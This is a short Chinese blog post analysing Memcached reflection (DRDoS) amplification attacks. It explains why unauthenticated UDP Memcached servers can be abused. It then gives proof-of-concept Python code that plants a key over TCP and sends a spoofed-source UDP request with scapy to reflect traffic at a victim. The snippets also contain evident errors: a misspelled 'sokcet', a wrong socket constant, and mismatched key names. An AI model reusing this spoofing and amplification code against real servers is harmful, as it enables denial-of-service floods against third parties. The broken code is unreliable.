1. 程式人生 > >關於Memcached反射型DRDoS攻擊分析

關於Memcached反射型DRDoS攻擊分析

pri from 換源 存儲 響應 col spa 響應報文 AC

一、Memcached反射攻擊原理

1、反射DRDoS攻擊:

DRDoS攻擊時DoS攻擊的一種,DoS是指通過發送或引發大量的資源消耗導致服務不可用的一種攻擊方式,中文稱之為拒絕服務攻擊。DRDoS是反射性拒絕服務攻擊,其原理是通過利用你的程序漏洞,發送畸形報文誘發你回復大數據量的報文,從而達到消耗資源,拒絕服務的目的。

2、為什麽Memcached可以誘發DRDoS:

因為Memcached是一個緩存服務器,很多web站點用來存儲緩存數據,以防止WEB服務器承擔更多性能損耗。但是這樣情況下,如果發送一個請求,回復大數據量的響應報文,則可以被誘發DRDoS,攻擊手段就是重復變換源的發送請求報文即可。

3、以上還有兩個前提:

(1)Memcached支持TCP和UDP,且其中UDP是不需要狀態連接,和握手的。

(2)Memcached存在未授權訪問的情況。

二、Memcached DRDoS的poc

1、攻擊手法,

(1)訪問可以控制的未授權的memcached,set設置鍵值

1 set abc 0 0 10
2 abc ->鍵名
3 0 -> flag
4 0 -> exptime 過期時間,0便是永不過期
5 10 -> 返回10Byte的數據,當然可以返回更多

python代碼如下

 1 # -*- coding:utf-8 -*-
 2 
 3 import socket
4 5 target_host = "192.168.1.1" 6 target_port = 11211 7 client = sokcet.socket(socket.AF_INET,socket.STREAM) 8 client.settimeout(10) 9 client.connect((target_host,target_port)) 10 11 client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n") 12 data = client.recv(1024) 13 print data

(2)然後get這個abc即可

1 # -*- coding:utf-8 -*-
2 
3 from scapy.all import *
4 
5 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
7 send(pkt ,inter=1,count=1)

關於Memcached反射型DRDoS攻擊分析